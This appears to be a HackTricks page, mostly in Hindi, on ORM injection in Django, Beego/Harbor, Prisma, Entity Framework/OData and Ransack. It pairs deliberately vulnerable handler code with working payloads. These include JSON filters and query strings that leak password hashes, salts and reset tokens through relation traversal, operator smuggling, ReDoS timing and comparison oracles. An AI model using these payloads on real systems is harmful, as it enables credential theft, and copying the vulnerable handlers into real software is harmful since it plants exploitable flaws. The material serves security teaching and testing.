ORM Injection

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Django ORM (Python)

this post में बताया गया है कि उदाहरण के लिए निम्नलिखित code का उपयोग करके Django ORM को vulnerable बनाया जा सकता है:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

ध्यान दें कि पूरा request.data (जो कि json होगा) सीधे filter objects from the database को पास किया जा रहा है। एक attacker अनपेक्षित filters भेजकर इससे अपेक्षित से अधिक डेटा leak कर सकता है।

उदाहरण:

  • Login: एक साधारण login में, इसके अंदर registered users के passwords को leak करने की कोशिश करें।
{
"username": "admin",
"password_startswith": "a"
}

Caution

यह संभव है कि brute-force के द्वारा password को तब तक तोड़ा जाए जब तक वह leaked न हो।

  • Relational filtering: यह संभव है कि संबंधों को पार करके उन कॉलमों से जानकारी leak की जा सके जिन्हें ऑपरेशन में उपयोग किए जाने की उम्मीद भी नहीं थी। उदाहरण के लिए, यदि किसी user द्वारा बनाए गए articles को इन संबंधों के जरिए leak किया जा सकता है: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

यह संभव है कि उन सभी उपयोगकर्ताओं के पासवर्ड पाए जा सकें जिन्होंने कोई लेख बनाया है

  • Many-to-many relational filtering: पिछले उदाहरण में हम उन उपयोगकर्ताओं के पासवर्ड नहीं खोज पाए जो लेख नहीं बनाए थे। हालांकि, अन्य संबंधों का पालन करके यह संभव है। उदाहरण के लिए: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

इस मामले में हम उन departments के सभी users ढूँढ सकते हैं जिन्होंने articles बनाये हैं और फिर उनके passwords को leak कर सकते हैं (पिछले json में हम केवल usernames leak कर रहे थे लेकिन बाद में passwords leak करना संभव है)।

  • Abusing Django Group and Permission many-to-may relations with users: Moreover, the AbstractUser model is used to generate users in Django and by default this model has some many-to-many relationships with the Permission and Group tables. Which basically is a default way to access other users from one user if they are in the same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: उसी ब्लॉगपोस्ट ने कुछ filtering के उपयोग को बायपास करने का सुझाव दिया, जैसे articles = Article.objects.filter(is_secret=False, **request.data). यह संभव है कि उन articles को dump किया जाए जिनका is_secret=True है, क्योंकि हम किसी relationship से Article table पर वापस लूप कर सकते हैं और non secret articles से secret articles को leak कर सकते हैं — परिणाम join होते हैं और is_secret field को non secret article में चेक किया जाता है, जबकि डेटा secret article से leak होता है।
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

रिलेशनशिप्स के दुरुपयोग से उन फिल्टर्स को भी बायपास करना संभव है जो दिखाई जाने वाली डाटा की रक्षा करने के लिए बनाए गए हों।

  • Error/Time based via ReDoS: पिछले उदाहरणों में यह अपेक्षित था कि अगर filtering काम कर रहा हो या नहीं तो प्रतिक्रियाएँ अलग हों और उन्हें oracle के रूप में उपयोग किया जा सके। लेकिन संभव है कि डेटाबेस में कोई action किया जा रहा हो और response हमेशा एक जैसी हो। इस परिदृश्य में डेटाबेस error कराकर नया oracle प्राप्त करना संभव हो सकता है।
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

उसी पोस्ट में इस वेक्टर के बारे में:

  • SQLite: डिफ़ॉल्ट रूप से regexp operator मौजूद नहीं है (तीसरे-पक्ष का एक्सटेंशन लोड करने की आवश्यकता होती है)
  • PostgreSQL: डिफ़ॉल्ट regex timeout नहीं है और यह backtracking के प्रति कम प्रवण है
  • MariaDB: regex timeout नहीं है

Beego ORM (Go) & Harbor Filter Oracles

Beego Django के field__operator DSL का अनुकरण करता है, इसलिए कोई भी हैंडलर जो उपयोगकर्ताओं को QuerySeter.Filter() के पहले तर्क को नियंत्रित करने देता है, संबंधों का पूरा ग्राफ़ उजागर कर देता है:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Requests such as /search?filter=created_by__user__password__icontains=pbkdf ऐसे_requests foreign keys के माध्यम से pivot कर सकते हैं, बिलकुल ऊपर दिए गए Django primitives की तरह। Harbor’s q helper user input को Beego filters में parse करता था, इसलिए low-privileged users list responses देखकर secrets को probe कर सकते थे:

  • GET /api/v2.0/users?q=password=~$argon2id$ → बताता है कि कोई hash $argon2id$ को शामिल करता है या नहीं।
  • GET /api/v2.0/users?q=salt=~abc → salt substrings को leaks करता है।

Returned rows की गिनती, pagination metadata का निरीक्षण, या response lengths की तुलना एक oracle देता है जिससे पूरे hashes, salts, और TOTP seeds brute-force किए जा सकते हैं।

Bypassing Harbor’s patches with parseExprs

Harbor ने संवेदनशील fields को filter:"false" टैग करके सुरक्षित करने की कोशिश की और expression के केवल पहले segment को validate किया:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.

v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abcFilter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Full find control:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

यह देखा जा सकता है कि पूरा javascript body prisma को queries perform करने के लिए पास किया जाता है।

original post के उदाहरण में, यह किसी द्वारा createdBy किये गए सभी posts की जांच करेगा (हर post किसी द्वारा ही बनाया जाता है) और उस व्यक्ति की user info भी लौटाएगा (username, password…)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

निम्न उदाहरण उन सभी पोस्ट्स का चयन करता है जो किसी द्वारा password के साथ बनाए गए हैं और password लौटाएगा:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • पूर्ण where क्लॉज़ नियंत्रण:

आइए इसे देखें जहाँ हमला where क्लॉज़ को नियंत्रित कर सकता है:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

यह संभव है कि users के password को सीधे filter किया जा सके, उदाहरण:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

Using operations like startsWith का उपयोग करके जानकारी leak करना संभव है।

  • Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Category -\\[*..*\\]-> Article के बीच many-to-many relationships पर lopping back करके अप्रकाशित लेखों को leak करना संभव है:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

यह कुछ loop back many-to-many संबंधों का दुरुपयोग करके सभी उपयोगकर्ताओं को leak करना भी संभव है:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: मूल पोस्ट में आप बहुत विस्तृत परीक्षणों का सेट पढ़ सकते हैं, जो time based payload के साथ जानकारी leak करने के लिए सबसे उपयुक्त payload खोजने हेतु किए गए थे। यह है:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

जहाँ {CONTAINS_LIST} 1000 strings की एक सूची है ताकि यह सुनिश्चित हो सके कि response तब delayed हो जब सही leak मिल जाए.

where filters पर Type confusion (operator injection)

Prisma’s query API या तो primitive values लेती है या operator objects. जब handlers मानते हैं कि request body में plain strings हैं लेकिन उन्हें सीधे where में पास कर देते हैं, attackers authentication flows में operators smuggle कर सकते हैं और token checks को bypass कर सकते हैं.

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

आम coercion vectors:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ उस हर उपयोगकर्ता से मेल खाता है जिनका token E नहीं है।
  • URL-encoded body with extended: true: resetToken[not]=E&password=newpass वही object बन जाता है।
  • Query string in Express <5 or with extended parsers: /reset?resetToken[contains]=argon2 leaks substring मैच।
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} यदि cookies Prisma को आगे भेजी जाती हैं।

क्योंकि Prisma खुशी-खुशी { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, आदि को evaluate करता है, किसी भी secret (reset tokens, API keys, magic links) पर की गई equality जांच ऐसे predicate में फैल सकती है जो secret जाने बिना भी सफल हो जाती है। इसे relational filters (createdBy) के साथ मिलाकर किसी पीड़ित का चयन किया जा सकता है।

उन फ्लो/प्रवाहों को देखें जहाँ:

  • Request schemas लागू नहीं होते, इसलिए nested objects deserialization के दौरान बच जाते हैं।
  • Extended body/query parsers enabled रहते हैं और bracket syntax स्वीकार करते हैं।
  • Handlers user JSON को सीधे Prisma में forward करते हैं बजाय इसके कि allow-listed fields/operators पर map किया जाए।

Entity Framework & OData Filter Leaks

Reflection-based text helpers leak secrets

IQueryable<T> TextFilter<T>(IQueryable<T> source, string term) {
var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string));
if (!stringProperties.Any()) { return source; }
var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) });
var prm = Expression.Parameter(typeof(T));
var body = stringProperties
.Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term)))
.Aggregate(Expression.OrElse);
return source.Where(Expression.Lambda<Func<T, bool>>(body, prm));
}

Helpers जो हर string property को enumerate करते हैं और उन्हें .Contains(term) के अंदर रैप करते हैं, प्रभावी रूप से किसी भी उपयोगकर्ता के लिए पासवर्ड, API tokens, salts, और TOTP secrets उजागर कर देते हैं जो endpoint को कॉल कर सकता है। Directus CVE-2025-64748 एक वास्तविक-विश्व उदाहरण है जहाँ directus_users search endpoint ने अपने जनरेट किए गए LIKE predicates में token और tfa_secret को शामिल कर लिया, जिससे परिणामों की गिनती एक leak ऑरेकल बन गई।

OData तुलना ऑरेकल

ASP.NET OData controllers अक्सर IQueryable<T> लौटाते हैं और $filter की अनुमति देते हैं, भले ही contains जैसे functions disabled हों। जब तक EDM उस property को expose करता है, हमलावर अभी भी उस पर तुलना कर सकते हैं:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

केवल परिणामों की मौजूदगी या गैर-मौजूदगी (या पेजिनेशन मेटाडेटा) आपको डेटाबेस कोलेशन के अनुसार हर अक्षर को बाइनरी-खोज (binary-search) करने की अनुमति देती है। Navigation properties (CreatedBy/Token, CreatedBy/User/Password) Django/Beego जैसे relational pivots सक्षम करती हैं, इसलिए कोई भी EDM जो संवेदनशील फ़ील्ड्स को एक्सपोज़ करता है या per-property deny-lists को छोड़ देता है, एक आसान लक्ष्य होता है।

ऐसी libraries और middleware जो user strings को ORM operators में translate करते हैं (उदा., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) उन्हें high-risk sinks माना जाना चाहिए जब तक कि वे strict field/operator allow-lists लागू न करते हों।

Ransack (Ruby)

ये ट्रिक्स इस पोस्ट में पाई गईं.

Tip

ध्यान दें कि Ransack 4.0.0.0 अब searchable attributes और associations के लिए explicit allow list के उपयोग को अनिवार्य करता है।

कमजोर उदाहरण:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

ध्यान दें कि query उन parameters द्वारा परिभाषित होगी जो attacker भेजता है। उदाहरण के लिए reset token को brute-force करना संभव था, जैसे:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

brute-forcing और संभावित relationships के माध्यम से डेटाबेस से अधिक डेटा leak करना संभव था।

Collation-aware leak रणनीतियाँ

String तुलना database collation को inherit करती है, इसलिए leak oracles को इस बात के अनुसार डिज़ाइन करना चाहिए कि backend characters को किस क्रम में order करता है:

  • Default MariaDB/MySQL/SQLite/MSSQL collations अक्सर case-insensitive होती हैं, इसलिए LIKE/= a और A में फर्क नहीं कर पाता। जब secret की casing मायने रखे तो case-sensitive operators (regex/GLOB/BINARY) का उपयोग करें।
  • Prisma और Entity Framework database ordering को mirror करते हैं। MSSQL का SQL_Latin1_General_CP1_CI_AS जैसा collation punctuation को digits और letters से पहले रखता है, इसलिए binary-search probes को raw ASCII byte order की बजाय उस ordering के अनुसार बनाना चाहिए।
  • SQLite का LIKE तब तक case-insensitive रहता है जब तक कोई custom collation register न किया गया हो, इसलिए Django/Beego leaks को case-sensitive tokens recover करने के लिए __regex predicates की आवश्यकता पड़ सकती है।

payloads को असली collation के अनुसार calibrate करने से बेकार probes बचते हैं और automated substring/binary-search attacks काफी तेज़ हो जाती हैं।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें